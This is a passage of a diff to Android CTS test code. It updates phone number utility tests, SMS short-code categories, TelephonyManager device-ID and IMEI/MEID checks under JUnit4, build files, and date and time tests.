+        //assertTrue("getBsic() out of range [0,63]", bsic >=0 && bsic <=63);
+
+        int ta = gsm.getCellSignalStrength().getTimingAdvance();
+        assertTrue("getTimingAdvance() out of range [0,219] | Integer.MAX_VALUE, ta=" + ta,
+                ta == Integer.MAX_VALUE || (ta >= 0 && ta <= 219));
     }
 
     // Rssi(in dbm) should be within [MIN_RSSI, MAX_RSSI].
     private void verifyRssiDbm(int dbm) {
-        assertTrue("getCellSignalStrength().getDbm() out of range",
+        assertTrue("getCellSignalStrength().getDbm() out of range, dbm=" + dbm,
                 dbm >= MIN_RSSI && dbm <= MAX_RSSI);
     }
 }
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
index f49a8204..c8718b6 100644
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -305,31 +305,6 @@
         assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
     }
 
-    public void testIsUriNumber() {
-        assertTrue(PhoneNumberUtils.isUriNumber("foo@google.com"));
-        assertTrue(PhoneNumberUtils.isUriNumber("xyz@zzz.org"));
-        assertFalse(PhoneNumberUtils.isUriNumber("+15103331245"));
-        assertFalse(PhoneNumberUtils.isUriNumber("+659231235"));
-    }
-
-    public void testGetUsernameFromUriNumber() {
-        assertEquals("john", PhoneNumberUtils.getUsernameFromUriNumber("john@myorg.com"));
-        assertEquals("tim_123", PhoneNumberUtils.getUsernameFromUriNumber("tim_123@zzz.org"));
-        assertEquals("5103331245", PhoneNumberUtils.getUsernameFromUriNumber("5103331245"));
-    }
-
-    public void testConvertAndStrip() {
-        // Untouched number.
-        assertEquals("123456789", PhoneNumberUtils.convertAndStrip("123456789"));
-        // Dashes should be stripped, legal separators (i.e. wild character remain untouched)
-        assertEquals("+15103331245*123", PhoneNumberUtils.convertAndStrip("+1-510-333-1245*123"));
-        // Arabic digits should be converted
-        assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥‎٥‎٦‎٧‎٨‎٦‎١‎٦‎١‎٦‎"));
-        // Arabic digits converted and spaces stripped
-        assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥‎ ٥‎٦‎ ٧‎ ٨‎ ٦‎ ١‎ ٦‎ ١‎ ٦‎"));
-
-    }
-
     public void testGetPhoneTtsSpan() {
         // Setup: phone number without a country code. Lets keep coverage minimal to avoid
         // exercising the underlying PhoneNumberUtil or constraining localization changes.
@@ -363,4 +338,49 @@
         assertEquals(1, ttsSpans.length);
         assertEquals("6512223333", ttsSpans[0].getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
     }
+
+    public void testCompare() {
+        assertFalse(PhoneNumberUtils.compare("", ""));
+
+        assertTrue(PhoneNumberUtils.compare("911", "911"));
+        assertFalse(PhoneNumberUtils.compare("911", "18005550911"));
+        assertTrue(PhoneNumberUtils.compare("5555", "5555"));
+        assertFalse(PhoneNumberUtils.compare("5555", "180055555555"));
+
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "+17005554141"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "+1 (700).555-4141"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "+1 (700).555-4141,1234"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "17005554141"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "7005554141"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "5554141"));
+        assertTrue(PhoneNumberUtils.compare("17005554141", "5554141"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "01117005554141"));
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "0017005554141"));
+        assertTrue(PhoneNumberUtils.compare("17005554141", "0017005554141"));
+
+
+        assertTrue(PhoneNumberUtils.compare("+17005554141", "**31#+17005554141"));
+
+        assertFalse(PhoneNumberUtils.compare("+1 999 7005554141", "+1 7005554141"));
+        assertTrue(PhoneNumberUtils.compare("011 1 7005554141", "7005554141"));
+
+        assertFalse(PhoneNumberUtils.compare("011 11 7005554141", "+17005554141"));
+
+        assertFalse(PhoneNumberUtils.compare("+17005554141", "7085882300"));
+
+        assertTrue(PhoneNumberUtils.compare("+44 207 792 3490", "0 207 792 3490"));
+
+        assertFalse(PhoneNumberUtils.compare("+44 207 792 3490", "00 207 792 3490"));
+        assertFalse(PhoneNumberUtils.compare("+44 207 792 3490", "011 207 792 3490"));
+    }
+
+    public void testFormatNumberToE164() {
+        assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
+        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+
+        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
+        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
+        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
+        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+    }
 }
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
index 62f04c9..88475d1 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -154,7 +154,7 @@
             new ShortCodeTest("ch", "123", CATEGORY_NOT_SHORT_CODE),
             new ShortCodeTest("ch", "234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
             new ShortCodeTest("ch", "3456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ch", "98765", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+            new ShortCodeTest("ch", "98765", CATEGORY_FREE_SHORT_CODE),
             new ShortCodeTest("ch", "543", CATEGORY_PREMIUM_SHORT_CODE),
             new ShortCodeTest("ch", "83111", CATEGORY_PREMIUM_SHORT_CODE),
             new ShortCodeTest("ch", "234567", CATEGORY_NOT_SHORT_CODE),
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index ae9dda1..7f3f6b6 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,7 +16,15 @@
 
 package android.telephony.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.cts.util.TestThread;
@@ -25,45 +33,57 @@
 import android.net.wifi.WifiManager;
 import android.os.Build;
 import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
+import android.telephony.CarrierConfigManager;
 import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
+import android.telephony.ServiceState;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
+import android.text.TextUtils;
 import android.util.Log;
 
-import com.android.internal.telephony.PhoneConstants;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.regex.Pattern;
 
-public class TelephonyManagerTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class TelephonyManagerTest {
     private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
     private boolean mOnCellLocationChangedCalled = false;
+    private ServiceState mServiceState;
     private final Object mLock = new Object();
     private static final int TOLERANCE = 1000;
     private PhoneStateListener mListener;
     private static ConnectivityManager mCm;
-    private static final String TAG = "android.telephony.cts.TelephonyManagerTest";
+    private static final String TAG = "TelephonyManagerTest";
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mTelephonyManager =
                 (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
         mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+
+        mPackageManager = getContext().getPackageManager();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         if (mListener != null) {
             // unregister the listener
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
         }
-        super.tearDown();
     }
 
+    @Test
     public void testListen() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
             Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
@@ -129,6 +149,7 @@
      * it's no need to get details of these information, just make sure they are in right
      * condition(>0 or not null).
      */
+    @Test
     public void testTelephonyManager() {
         assertTrue(mTelephonyManager.getNetworkType() >= TelephonyManager.NETWORK_TYPE_UNKNOWN);
         assertTrue(mTelephonyManager.getPhoneType() >= TelephonyManager.PHONE_TYPE_NONE);
@@ -137,14 +158,18 @@
         assertTrue(mTelephonyManager.getDataState() >= TelephonyManager.DATA_DISCONNECTED);
         assertTrue(mTelephonyManager.getCallState() >= TelephonyManager.CALL_STATE_IDLE);
 
+        for (int i = 0; i < mTelephonyManager.getPhoneCount(); ++i) {
+            assertTrue(mTelephonyManager.getSimState(i) >= TelephonyManager.SIM_STATE_UNKNOWN);
+        }
+
         // Make sure devices without MMS service won't fail on this
         if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE) {
             assertFalse(mTelephonyManager.getMmsUserAgent().isEmpty());
             assertFalse(mTelephonyManager.getMmsUAProfUrl().isEmpty());
         }
 
-        // The following methods may return null. Simply call them to make sure they do not
-        // throw any exceptions.
+        // The following methods may return any value depending on the state of the device. Simply
+        // call them to make sure they do not throw any exceptions.
         mTelephonyManager.getVoiceMailNumber();
         mTelephonyManager.getSimOperatorName();
         mTelephonyManager.getNetworkCountryIso();
@@ -160,9 +185,13 @@
         mTelephonyManager.getNeighboringCellInfo();
         mTelephonyManager.isNetworkRoaming();
         mTelephonyManager.getDeviceId();
-        mTelephonyManager.getDeviceId(mTelephonyManager.getDefaultSim());
+        mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
         mTelephonyManager.getDeviceSoftwareVersion();
+        mTelephonyManager.getImei();
+        mTelephonyManager.getImei(mTelephonyManager.getSlotIndex());
         mTelephonyManager.getPhoneCount();
+        mTelephonyManager.getDataEnabled();
+        mTelephonyManager.getNetworkSpecifier();
 
         TelecomManager telecomManager = (TelecomManager) getContext()
             .getSystemService(Context.TELECOM_SERVICE);
@@ -172,9 +201,26 @@
         mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
     }
 
+    @Test
+    public void testCreateForPhoneAccountHandle(){
+        TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
+        PhoneAccountHandle handle =
+                telecomManager.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+        TelephonyManager telephonyManager = mTelephonyManager.createForPhoneAccountHandle(handle);
+        assertEquals(mTelephonyManager.getSubscriberId(), telephonyManager.getSubscriberId());
+    }
+
+    @Test
+    public void testCreateForPhoneAccountHandle_InvalidHandle(){
+        PhoneAccountHandle handle =
+                new PhoneAccountHandle(new ComponentName("com.example.foo", "bar"), "baz");
+        assertNull(mTelephonyManager.createForPhoneAccountHandle(handle));
+    }
+
     /**
      * Tests that the phone count returned is valid.
      */
+    @Test
     public void testGetPhoneCount() {
         int phoneCount = mTelephonyManager.getPhoneCount();
         int phoneType = mTelephonyManager.getPhoneType();
@@ -192,73 +238,55 @@
     }
 
     /**
-     * Tests that the device properly reports either a valid IMEI if
-     * GSM, a valid MEID or ESN if CDMA, or a valid MAC address if
-     * only a WiFi device.
+     * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
+     * if only a WiFi device. At least one of them must be valid.
      */
+    @Test
     public void testGetDeviceId() {
-        String deviceId = mTelephonyManager.getDeviceId();
-        verifyDeviceId(deviceId);
+        verifyDeviceId(mTelephonyManager.getDeviceId());
     }
 
     /**
-     * Tests that the device properly reports either a valid IMEI if
-     * GSM, a valid MEID or ESN if CDMA, or a valid MAC address if
-     * only a WiFi device.
+     * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
+     * if only a WiFi device. At least one of them must be valid.
      */
-    public void testGetDeviceIdForSlotId() {
-        String deviceId = mTelephonyManager.getDeviceId(mTelephonyManager.getDefaultSim());
+    @Test
+    public void testGetDeviceIdForSlot() {
+        String deviceId = mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
         verifyDeviceId(deviceId);
-        // Also verify that no exception is thrown for any slot id (including invalid ones)
+        // Also verify that no exception is thrown for any slot index (including invalid ones)
         for (int i = -1; i <= mTelephonyManager.getPhoneCount(); i++) {
             mTelephonyManager.getDeviceId(i);
         }
     }
 
     private void verifyDeviceId(String deviceId) {
-        int phoneType = mTelephonyManager.getPhoneType();
-        switch (phoneType) {
-            case TelephonyManager.PHONE_TYPE_GSM:
-                assertGsmDeviceId(deviceId);
-                break;
-
-            case TelephonyManager.PHONE_TYPE_CDMA:
-                // LTE device is using IMEI as device id
-                if (mTelephonyManager.getLteOnCdmaMode() == PhoneConstants.LTE_ON_CDMA_TRUE) {
-                    assertGsmDeviceId(deviceId);
-                } else {
-                    assertCdmaDeviceId(deviceId);
-                }
-                break;
-
-            case TelephonyManager.PHONE_TYPE_NONE:
-                boolean nwSupported = mCm.isNetworkSupported(mCm.TYPE_WIFI);
-                PackageManager packageManager = getContext().getPackageManager();
-                // only check serial number & MAC address if device report wifi feature
-                if (packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-                    assertSerialNumber();
-                    assertMacAddress(getWifiMacAddress());
-                } else if (mCm.getNetworkInfo(ConnectivityManager.TYPE_BLUETOOTH) != null) {
-                    assertSerialNumber();
-                    assertMacAddress(getBluetoothMacAddress());
-                } else {
-                    assertTrue(mCm.getNetworkInfo(ConnectivityManager.TYPE_ETHERNET) != null);
-                }
-                break;
-
-            default:
-                throw new IllegalArgumentException("Did you add a new phone type? " + phoneType);
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            // Either IMEI or MEID need to be valid.
+            try {
+                assertImei(deviceId);
+            } catch (AssertionError e) {
+                assertMeidEsn(deviceId);
+            }
+        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            assertSerialNumber();
+            assertMacAddress(getWifiMacAddress());
+        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
+            assertSerialNumber();
+            assertMacAddress(getBluetoothMacAddress());
+        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET)) {
+            assertTrue(mCm.getNetworkInfo(ConnectivityManager.TYPE_ETHERNET) != null);
         }
     }
 
-    private static void assertGsmDeviceId(String deviceId) {
+    private static void assertImei(String id) {
         // IMEI may include the check digit
         String imeiPattern = "[0-9]{14,15}";
-        assertTrue("IMEI device id " + deviceId + " does not match pattern " + imeiPattern,
-                Pattern.matches(imeiPattern, deviceId));
-        if (deviceId.length() == 15) {
+        assertTrue("IMEI " + id + " does not match pattern " + imeiPattern,
+                Pattern.matches(imeiPattern, id));
+        if (id.length() == 15) {
             // if the ID is 15 digits, the 15th must be a check digit.
-            assertImeiCheckDigit(deviceId);
+            assertImeiCheckDigit(id);
         }
     }
 
@@ -299,14 +327,14 @@
         return sum == 0 ? 0 : 10 - sum;
     }
 
-    private static void assertCdmaDeviceId(String deviceId) {
+    private static void assertMeidEsn(String id) {
         // CDMA device IDs may either be a 14-hex-digit MEID or an
         // 8-hex-digit ESN.  If it's an ESN, it may not be a
         // pseudo-ESN.
-        if (deviceId.length() == 14) {
-            assertMeidFormat(deviceId);
-        } else if (deviceId.length() == 8) {
-            assertHexadecimalEsnFormat(deviceId);
+        if (id.length() == 14) {
+            assertMeidFormat(id);
+        } else if (id.length() == 8) {
+            assertHexadecimalEsnFormat(id);
         } else {
             fail("device id on CDMA must be 14-digit hex MEID or 8-digit hex ESN.");
         }
@@ -375,6 +403,7 @@
 
     private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}";
 
+    @Test
     public void testGetNetworkCountryIso() {
         PackageManager packageManager = getContext().getPackageManager();
         String countryCode = mTelephonyManager.getNetworkCountryIso();
@@ -387,6 +416,7 @@
         }
     }
 
+    @Test
     public void testGetSimCountryIso() {
         PackageManager packageManager = getContext().getPackageManager();
         String countryCode = mTelephonyManager.getSimCountryIso();
@@ -398,4 +428,170 @@
             // Non-telephony may still have the property defined if it has a SIM.
         }
     }
+
+    @Test
+    public void testGetServiceState() throws InterruptedException {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onServiceStateChanged(ServiceState serviceState) {
+                        synchronized (mLock) {
+                            mServiceState = serviceState;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
+                Looper.loop();
+            }
+        });
+        t.start();
+        synchronized (mLock) {
+            mLock.wait(TOLERANCE);
+        }
+
+        assertEquals(mServiceState, mTelephonyManager.getServiceState());
+    }
+
+    @Test
+    public void testGetCarrierConfig() {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        CarrierConfigManager carrierConfigManager =
+                getContext().getSystemService(CarrierConfigManager.class);
+        assertEquals(mTelephonyManager.getCarrierConfig(), carrierConfigManager.getConfig());
+    }
+
+    /**
+     * Tests that the device properly reports either a valid IMEI or null.
+     */
+    @Test
+    public void testGetImei() {
+        String imei = mTelephonyManager.getImei();
+
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            if (!TextUtils.isEmpty(imei)) {
+                assertImei(imei);
+            } else {
+                // If IMEI is empty, then MEID must not be empty. A phone should have either a
+                // IMEI or MEID. The validation of MEID will be checked by testGetMeid().
+                assertFalse(TextUtils.isEmpty(mTelephonyManager.getMeid()));
+            }
+        }
+    }
+
+    /**
+     * Tests that the device properly reports either a valid IMEI or null.
+     */
+    @Test
+    public void testGetImeiForSlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
+            String imei = mTelephonyManager.getImei(i);
+            if (!TextUtils.isEmpty(imei)) {
+                assertImei(imei);
+            }
+        }
+
+        // Also verify that no exception is thrown for any slot index (including invalid ones)
+        mTelephonyManager.getImei(-1);
+        mTelephonyManager.getImei(mTelephonyManager.getPhoneCount());
+    }
+
+    /**
+     * Tests that the device properly reports either a valid MEID or null.
+     */
+    @Test
+    public void testGetMeid() {
+        String meid = mTelephonyManager.getMeid();
+
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            if (!TextUtils.isEmpty(meid)) {
+                assertImei(meid);
+            } else {
+                // If MEID is empty, then IMEI must not be empty. A phone should have either a
+                // IMEI or MEID. The validation of IMEI will be checked by testGetImei().
+                assertFalse(TextUtils.isEmpty(mTelephonyManager.getImei()));
+            }
+        }
+    }
+
+    /**
+     * Tests that the device properly reports either a valid MEID or null.
+     */
+    @Test
+    public void testGetMeidForSlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
+            String meid = mTelephonyManager.getMeid(i);
+            if (!TextUtils.isEmpty(meid)) {
+                assertMeidEsn(meid);
+            }
+        }
+
+        // Also verify that no exception is thrown for any slot index (including invalid ones)
+        mTelephonyManager.getMeid(-1);
+        mTelephonyManager.getMeid(mTelephonyManager.getPhoneCount());
+    }
+
+    /**
+     * Tests that the device properly reports the contents of EF_FPLMN or null
+     */
+    @Test
+    public void testGetForbiddenPlmns() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        String[] plmns = mTelephonyManager.getForbiddenPlmns();
+
+        int phoneType = mTelephonyManager.getPhoneType();
+        switch (phoneType) {
+            case TelephonyManager.PHONE_TYPE_GSM:
+                assertNotNull("Forbidden PLMNs must be valid or an empty list!", plmns);
+            case TelephonyManager.PHONE_TYPE_CDMA:
+            case TelephonyManager.PHONE_TYPE_NONE:
+                if (plmns == null) {
+                    return;
+                }
+        }
+
+        for(String plmn : plmns) {
+            if (plmn.length() > 6 || plmn.length() < 5) {
+                fail("Invalid Length for PLMN-ID, must be 5 or 6: " + plmn);
+            }
+
+            // A record which is written in the SIM but empty will
+            // be all f's
+            if(android.text.TextUtils.isDigitsOnly(plmn)) {
+                assertTrue(
+                        "PLMNs must be strings of digits 0-9,F! " + plmn,
+                        android.text.TextUtils.isDigitsOnly(plmn));
+            } else {
+                for (char c : plmn.toUpperCase().toCharArray()) {
+                    assertTrue("PLMNs must be strings of digits 0-9,F! " + plmn,
+                            Character.toUpperCase(c) == 'F');
+                }
+            }
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
 }
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index dbd2559..9e08fb6 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -22,7 +22,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 756e4eb..f72111b 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -264,10 +264,6 @@
 
     public void test_bug_82144() {
         for (Locale locale : Locale.getAvailableLocales()) {
-            if (locale.toString().startsWith("haw")) {
-                // http://b/26397197 - remove this when fixed.
-                continue;
-            }
             Locale.setDefault(locale);
             char[] order = DateFormat.getDateFormatOrder(mContext);
             boolean seenDay = false, seenMonth = false, seenYear = false;
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index f0a4d09..a05ba7a 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -19,6 +19,8 @@
 import android.content.Context;
 import android.test.AndroidTestCase;
 import android.text.format.DateUtils;
+
+import java.text.DateFormat;
 import java.util.Calendar;
 import java.util.Date;
 import java.util.Formatter;
@@ -145,6 +147,8 @@
             return;
         }
 
+        // This test assumes a default DateFormat.is24Hour setting.
+        DateFormat.is24Hour = null;
         Date date = new Date(109, 0, 19, 3, 30, 15);
         long fixedTime = date.getTime();
 
diff --git a/tests/tests/textureview/Android.mk b/tests/tests/textureview/Android.mk
index d1f542b..a97ff64 100644
--- a/tests/tests/textureview/Android.mk
+++ b/tests/tests/textureview/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index 0f370d0..4d90e14 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index 2311292..c2ecb3a 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -123,6 +123,14 @@
     }
 
     @Test
+    public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+        showToastsViaAddingWindow(2, false);
+
+        // Wait for the toast to timeout
+        waitForToastTimeout();
+    }
+
+    @Test
     public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedSlowly() throws Exception {
         // Add one window
         showToastsViaAddingWindow(1, true);
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index af8b4eb..bd91b3d 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index c595635..6d85453 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 08b9646..76b4916 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index fd01e10..2d69ae2 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
 
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index cb1c70a..734eb87 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
index 1c3a303..3176316 100644
--- a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
@@ -38,11 +38,11 @@
             Calendar c = Calendar.getInstance(tz);
             TimeZone guess;
 
-            c.set(2008, Calendar.OCTOBER, 20, 12, 00, 00);
+            c.set(2016, Calendar.OCTOBER, 20, 12, 0, 0);
             guess = guessTimeZone(c, "us");
             assertEquals(name, guess.getID());
 
-            c.set(2009, Calendar.JANUARY, 20, 12, 00, 00);
+            c.set(2017, Calendar.JANUARY, 20, 12, 0, 0);
             guess = guessTimeZone(c, "us");
             assertEquals(name, guess.getID());
         }
@@ -59,7 +59,7 @@
             Calendar c = Calendar.getInstance(tz);
             TimeZone guess;
 
-            c.set(2008, Calendar.OCTOBER, 20, 12, 00, 00);
+            c.set(2016, Calendar.OCTOBER, 20, 12, 0, 0);
             guess = guessTimeZone(c, "us");
             assertEquals(name, guess.getID());
         }
@@ -75,7 +75,7 @@
             Calendar c = Calendar.getInstance(tz);
             TimeZone guess;
 
-            c.set(2005, Calendar.OCTOBER, 20, 12, 00, 00);
+            c.set(2005, Calendar.OCTOBER, 20, 12, 0, 0);
